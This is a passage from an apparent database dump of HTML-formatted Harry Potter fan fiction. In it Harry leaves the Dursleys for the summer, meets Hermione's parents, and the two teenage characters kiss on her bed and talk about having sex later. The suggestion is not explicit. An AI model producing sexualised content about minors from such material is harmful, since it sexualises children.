having me as a girlfriend won&#8217;t be a \nproblem.&#8221;</p>\n<p>Harry raised his eyebrows and chuckled. </p>\n<p>&#8220;I&#8217;m not too sure about that,&#8221; he said under his breath.</p>\n<p>&#8220;What was that Harry?&#8221;</p>\n<p>&#8220;Nothing,&#8221; he replied. &#8220;I love you Hermione.&#8221;</p>\n<p>&#8220;I love you too Harry,&#8221; she said as they flew off in the moonlight in a deep \nbright blue glow.</p>\n'),
	(161, 1, '\n\n\n\nDisclaimer:&nbsp; I do not own any of these characters.&nbsp; They are the property of J. K. Rowling.&nbsp; Hope you like it!\n\n&nbsp;\n\n&nbsp;\n\nMeet the Parents\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;NO&#8230;ABSOLUTELY NOT!!!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry Potter glared at his Uncle Vernon with disdain.&nbsp; He&#8217;d just asked if it was all right if he\nwent to Hermione&#8217;s for the summer, and the pudgy, older man had immediately\nexploded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Listen, Uncle Vernon, I said that I was invited to a\nfriend&#8217;s house for the summer, and that&#8217;s where I plan on going.&nbsp; You won&#8217;t have to worry about me at all!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I said no!&nbsp; I will\nnot let you go traipsing about the country with your strange friends.&nbsp; You get into enough trouble as it is; I\nwon&#8217;t allow you to go anywhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At that moment, the doorbell rang, and Harry grinned\ninwardly.&nbsp; He&#8217;d planned this out very\ncarefully.&nbsp; He&#8217;d even stashed his trunk\nnear the door, and he&#8217;d let Hedwig out the night before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then, why don&#8217;t you tell them right now?&nbsp; That&#8217;s them at the door.&#8221; Uncle Vernon&#8217;s\nface contorted in anger, and he growled under his breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Meanwhile, Harry&#8217;s Aunt Petunia had gone to answer the\ndoor.&nbsp; Upon opening it, she saw a young\nwoman with long brown hair and soft brown eyes.&nbsp; She was dressed in a pair of faded blue jeans and a red\nsweatshirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello ma&#8217;am, my name is Hermione Granger.&#8221; To Aunt Petunia,\nshe looked exceptionally &#8216;normal&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My&#8230;such politeness&#8230;what can I do for you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m looking for Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Aunt Petunia&#8217;s smile faded instantly, and a look of disgust\nappeared on her face.&nbsp; Hermione suddenly\nfelt very small.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do want to see him for?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s here to pick me up!&#8221; a voice said behind her.&nbsp; Hermione&#8217;s smile returned when she saw Harry\nappear behind his aunt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi, just give me a minute, my stuff&#8217;s right here.&#8221; Reaching\ninto the hall closet, he drew out his trunk and heaved it up into his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, let&#8217;s go!&#8221; Harry&#8217;s aunt was speechless, and she\nlooked frozen in place so he gently nudged her aside and headed out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As he walked down the entrance path, Harry saw a van waiting\nfor them out in the street, and a man who he assumed was Mr. Granger was at the\nwheel.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold it, boy!&#8221; a voice thundered.&nbsp; It was Uncle Vernon, and he charged after Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Both of teenagers stopped in their tracks, and Harry put his\ntrunk down with a loud thud.&nbsp; He could\ntell that his uncle was ready to pop, but he didn&#8217;t care.&nbsp; Hermione looked on nervously as the elder\nman grabbed Harry&#8217;s shoulder firmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I said that you won&#8217;t be going anywhere!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave an apologetic look towards Hermione then grabbed\nhold of his uncle&#8217;s hand.&nbsp; Using\nstrength born of many years of quidditch practice and hard magical training,\nHarry forcibly removed the man&#8217;s hand from his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you be so kind as to not do that again?&#8221; he growled\nand turned towards his uncle.&nbsp; By now,\nAunt Petunia had followed after her husband, and even Dudley had come to the\ndoor to hear what the ruckus was about.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Uncle Vernon, for the most part, was completely surprised\nthat Harry had been able to overcome his grip.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me explain this one more time&#8230;Hermione and her family\nwere gracious enough to invite me for the summer, and I accepted.&nbsp; You don&#8217;t want me around here, and I don&#8217;t\ncare to be here so it fixes both our problems.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Absolutely not, you will not go gallivanting off with some\nwhore that you met at that disgusting school!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was furious!&nbsp;\nHarry had told her how bad his aunt and uncle were, but she was not\ngoing to stand by and be insulted like that.&nbsp;\nHowever, someone beat her to the punch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t you ever call Hermione a whore again, Uncle Vernon!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s eyes locked onto the obese man, and a fire ignited\ninside them.&nbsp; His power roared to the\nsurface and stood simmering just underneath his angry exterior.&nbsp; Hermione could feel the magic coming off of\nHarry, but to a muggle, he merely looked extremely pissed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Uncle Vernon backed away in horror, and Harry stalked him\nback to the house.&nbsp; Aunt Petunia&#8217;s\nbottom lip was quivering, and she clutched at her husband once he was close\nenough.&nbsp; Harry continued to advance and\nstopped just short of the overhang on the porch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m leaving now, and that&#8217;s it!&nbsp; And if you ever call Hermione a whore or anything else, so help\nme, I&#8217;ll make you wish you never met me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The fire in Harry&#8217;s eyes blazed, and it looked ready to leap\nout of his body and scorch his demeaning relatives.&nbsp; The Dursleys scurried back inside their house like a pack of\nscared rats and slammed the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;That takes care of that!&#8217; Harry said to himself and turned\nback around.&nbsp; Hermione just stood there\nstaring at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; he asked with a soft smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You looked ready to blow the whole house up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nah, as much as they despise me, I&#8217;d never do something\nlike that.&#8221; The smile returned to Hermione&#8217;s face once again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, come on, you can meet my dad!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gave him a hand, and the two of them picked up\nHarry&#8217;s trunk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Upon approaching the van, Mr. Granger exited the vehicle and\nwalked around to open the rear door for them.&nbsp;\nAfter Harry set it inside, he turned towards the older man.&nbsp; He looked to be in his late thirties early\nforties, had sandy blond hair, and hazel eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, so you&#8217;re the young man I&#8217;ve heard so much about &#8211; from\nHermione that is.&#8221; His daughter beamed with pride, and Harry blushed slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you do, sir, I&#8217;m Harry Potter?&#8221; and he extended his\nhand. &#8220;It&#8217;s a pleasure to meet you.&#8221; Harry swore that he saw a hint of\nnervousness flash in the man&#8217;s eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m John Granger, it&#8217;s a pleasure to meet you too, Harry,\nHermione&#8217;s told us quite a lot about you.&#8221; The young man&#8217;s head lowered\nslightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;Mr. Granger, I apologize for what you just saw; my uncle\nshould never have called Hermione something so degrading.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Relax Harry, I saw how you defended her, and I thank you\nfor that.&nbsp; Well, I suggest we get\ngoing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, you can ride in the back with me,&#8221; Hermione\nchirped and led him around to the side door.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She hopped into the first row of seats, and Harry sat beside\nher as he slid the door shut.&nbsp; Hermione\nreached down and took his hand, and he felt all the tension draining out of his\nbody.&nbsp; Her eyes took hold of him, and her\ngaze made his heartbeat accelerate rapidly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Gosh, has it only been a few days?&nbsp; It feels like it&#8217;s been a year!&#8217; Harry\nthought silently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mr. Granger turned on the engine, and they pulled away from\nthe Dursleys&#8217; home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse me, but could we stop for a moment, please?&#8221; Harry\nasked about two blocks down the street.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure, is something wrong?&#8221; Mr. Granger asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you forget something?&#8221; Hermione added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sort of&#8230;I&#8217;ll just be a minute.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry climbed out of the van and looked towards a clump of\ntrees that resided near the Dursleys&#8217; house.&nbsp;\nHe whistled softly and waited.&nbsp; Out\nof the grove sprung a snowy, white owl, and Hermione immediately recognized\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s Hedwig!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who&#8217;s that?&#8221; her father inquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s Harry&#8217;s pet owl; I was wondering why he wasn&#8217;t\ncarrying her with him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hedwig landed on Harry&#8217;s arm, and he brushed her white\nfeathers tenderly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, girl, I&#8217;m leaving now.&nbsp; Think you can follow us?&#8221; His owl screeched loudly and bobbed her\nhead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, off you go!&#8221; Harry raised his arm, and Hedwig flapped\nher wings.&nbsp; The snowy owl lifted off,\nand she swooped around the neighborhood, keeping a watchful eye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry climbed back in, and Hermione chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wondered why she wasn&#8217;t with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I let her loose last night, and she was waiting for me to\ncall her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Will she really be able to follow us?&#8221; Mr. Granger asked in\nslight amazement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh absolutely, that&#8217;s the smartest owl I know!&#8221; Hermione\nanswered.&nbsp; Harry just grinned.&nbsp; Mr. Granger turned his attention back to the\nroad, and the trio headed off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Four hours later, Harry watched, as they pulled up in front\nof a beautiful, two-story home.&nbsp; It had\nblack shingles on the roof, white siding that looked freshly painted, and a\nbeautiful garden flanking both sides of the entryway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, your house is incredible, Hermione!&#8221; His girlfriend squeezed\nhis hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mr. Granger drove the van up the half-rotary like driveway\nand parked near the front door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, here we are.&nbsp;\nHermione, why don&#8217;t you take Harry inside; I&#8217;ll grab his trunk.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you sure, sir?&nbsp;\nUsually, it takes two people to carry that thing!&#8221; Harry objected.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, I&#8217;ll manage.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione climbed over Harry and jumped out the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;C&#8217;mon you!&nbsp; I want\nyou to meet my mom!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned inwardly; he&#8217;d never seen Hermione like this\nbefore.&nbsp; She looked like she was\nfloating on air &#8211; and not levitating.&nbsp;\nHe beamed at the thought of being responsible for making her look so\nradiant.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grabbed him by the hand and practically dragged him\ntowards the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold on, I&#8217;m coming!&#8221; he laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mom, we&#8217;re here!&#8221; Hermione called after she&#8217;d let them in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took a quick look around and found that he liked the\ninterior of the house.&nbsp; From his vantage\npoint, he could see a living room to the left and a dining room beyond\nthat.&nbsp; The kitchen was straight ahead\nfrom the front door, and Harry saw what he guessed was a den to the right of\nthe front door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, so you must be Harry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Turning his head, the young wizard saw a woman in her late\nthirties coming out of the kitchen.&nbsp; She\nhad long, brown hair just like Hermione and blue eyes, but they held the same\ndepth as Hermione&#8217;s carried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you do, I&#8217;m Harry Potter.&#8221; He extended his hand, and\nMrs. Granger gladly shook it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She eyed him and knew instantly that this was the young man\nthat her daughter had written to her about.&nbsp;\nHermione had drawn a complete picture for her &#8211; messy, dark hair, tall\nstature, and green eyes that could melt lead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice to meet you, Harry, I&#8217;m Melinda Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you going to keep him in the doorway forever, dear?&#8221;\ncame a voice behind them.&nbsp; Mr. Granger\nstood behind them holding Harry&#8217;s trunk and looking ready to collapse.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry about that, honey.&#8221; Mrs. Granger quickly had them\nmove out of the way.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned towards Mr. Granger and whispered something\nunder his breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh, guess this thing gets lighter the more you carry it,&#8221;\nhe laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked at Harry out of the corner of her eye and\nsaw him trying to keep a grin off his face.&nbsp;\nHe was really sweet; he&#8217;d put a lightening charm on his trunk to cut the\nweight in half.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then, I just finished making lunch so come on in.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry followed Mrs. Granger into the kitchen with Hermione\nin tow.&nbsp; Again, the d&#233;cor captivated the\nyoung man.&nbsp; The cabinets and countertops\nwere a deep maple color, and he could see several spice ranks hung along the\nwall.&nbsp; Hermione had told him that both\nher parents worked as dentists, but Harry couldn&#8217;t argue with their furnishing\ntaste.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is there something that I can do to help?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not at all, just sit down at the table.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You heard her, Potter, march!&#8221; Hermione ordered.&nbsp; Harry tried hard not to laugh as his\ngirlfriend shoved him into the dining room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two sat down at the oval shaped table, and Hermione\nglared at him slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, you&#8217;re a guest here; you don&#8217;t have to do anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, I&#8217;m gonna be here for the whole summer; I can&#8217;t\njust free-load off your parents; that&#8217;s rude!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re too noble for your own good.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m just being polite,&#8221; he countered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh really&#8230;&#8221; Hermione leaned closer and whispered in his\near, &#8220;&#8230;then be even more polite and kiss me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Back in the kitchen, Mrs. Granger listened to their\nconversation in the next room.&nbsp; Her\ndaughter had not exaggerated when she&#8217;d mentioned what a giving person Harry\nreally was.&nbsp; From what little she knew,\nHarry Potter was a legend in the wizarding world; she found it odd that a\nperson with such fame could be so humble.&nbsp;\nSmiling to herself, she decided that it was going to be very interesting\nhaving Harry Potter in her house.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 2, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After lunch, Harry followed Hermione upstairs, and she\nushered him into his room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is our guest room,&#8221; she stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The room wasn&#8217;t huge, but it was still much larger than\nHarry&#8217;s back at the Dursleys&#8217; house.&nbsp;\nThe bed was covered in navy blue linens, there was a desk in the corner\nfor writing, and there was also a dresser to store his things.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Too bad, I thought I&#8217;d be staying with you,&#8221; Harry teased,\nand his eyes flashed with fire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; Hermione gasped and blushed, &#8220;Simmer down, Romeo, or\nI won&#8217;t show you my room.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good, follow me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione led him down the hall while showing him where the\nbathroom was then stopping at the third door on the left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As soon as Harry stepped inside, he knew it was her\nroom.&nbsp; Crookshanks was snoring softly on\nher bed, and the fat, orange cat scratched at something in her sleep.&nbsp; What really sealed it was the massive\nbookshelf against the far wall.&nbsp; It had\nto be almost ten feet wide and six feet high; moreover, it was completely full\nof books.&nbsp; A dresser similar to his sat\non the opposite wall, and it had a tall mirror above it.&nbsp; A flash of something white caught Harry&#8217;s\neyes, and he tilted his head to see that Hermione had her own bathroom in here.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you smiling at?&#8221; Hermione asked, noting the corny\ngrin he was giving her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing, it&#8217;s just that this room is so&#8230;you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How so?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;it looks like the person who stays here is a bit of a\nbookworm but feminine at the same time.&nbsp;\nOtherwise, why is there make-up and perfume in front of your mirror?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, I&#8217;ll admit it; I wear that stuff sometimes; you know\nthat!&#8221; Harry walked up to her and wrapped his arms around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That I do.&nbsp; I always\nlove the way you smell,&#8221; he said softly and nuzzled her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione melted in his embrace and sighed as he kissed her\nneck.&nbsp; Reaching out with a stray hand,\nshe pushed her bedroom door closed and grabbed onto his sweater.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No more teasing, c&#8217;mere!&#8221; She grabbed him by the hair and\nmashed their lips together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned against her mouth and tightened his arms\naround her.&nbsp; Hermione began backing up\nand pulled him with her.&nbsp; She fell back\nonto her bed and pulled Harry on top of her.&nbsp;\nHis hands slid up and down her spine making her arch into his body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; he gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, my love?&#8221; she cooed while sliding her hands up under\nhis sweater.&nbsp; Somehow, he pulled away\nfrom her deadly assault and looked into her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart, we need to stop.&nbsp; I really want this, but we need to stop.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But why?&#8221; Hermione pouted prettily.&nbsp; Harry put a finger to her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Believe me, Herm, it&#8217;s not for lack of wanting, but this is\nyour parent&#8217;s house.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what?&nbsp; They&#8217;re\nboth busy downstairs and won&#8217;t bother us for a long time.&#8221; She began rubbing\nthe base of his neck, and Harry glared at her slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Listen Herm, before I came here, I made myself a\npromise.&nbsp; I swore that I wouldn&#8217;t touch\nyou until your parents knew about us; it wouldn&#8217;t be right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You what?&nbsp; How could\nyou do something so stupid?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just didn&#8217;t want your parents to think we were lying to\nthem.&nbsp; Look, you told your mom that I\nwas your friend, and I have a feeling that she knows that we&#8217;re more than that,\nbut we haven&#8217;t told them about how serious we are about each other.&nbsp; Hermione, one thing that I&#8217;ve learned is\nthat the bond between parents and their children is precious, and I don&#8217;t want\nyou to lose that in any way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione wasn&#8217;t sure whether to be happy or angry with him,\nbut what he said did make a lot of sense to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, we&#8217;ll tell them, but I suggest we wait a few\ndays.&nbsp; Let my parents get to know you\nfirst; it&#8217;ll soften the blow if they see how wonderful you are.&#8221; Harry blushed\nat her compliment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then&#8230;&#8221; Hermione threaded her fingers into his hair, &#8220;&#8230;when\nthat conversation is over&#8230;&#8221;she cooed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll make love to you every night if you want!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, I like that idea, but in the meantime, come back down\nhere!&#8221; She pulled him down and caught his mouth with hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221; he sighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah&#8230;ah&#8230;ah&#8230;you said no lovemaking, Harry, that doesn&#8217;t mean\nwe can&#8217;t makeout!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;She does have a point!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose not.&#8221; He caught her mouth again and clutched her\nbody against his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was delicious!&nbsp;\nThank you, Mrs. Granger,&#8221; Harry said with a smile, having finished his\nsecond helping of roasted ham and mashed potatoes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re welcome, Harry, I&#8217;m glad you liked 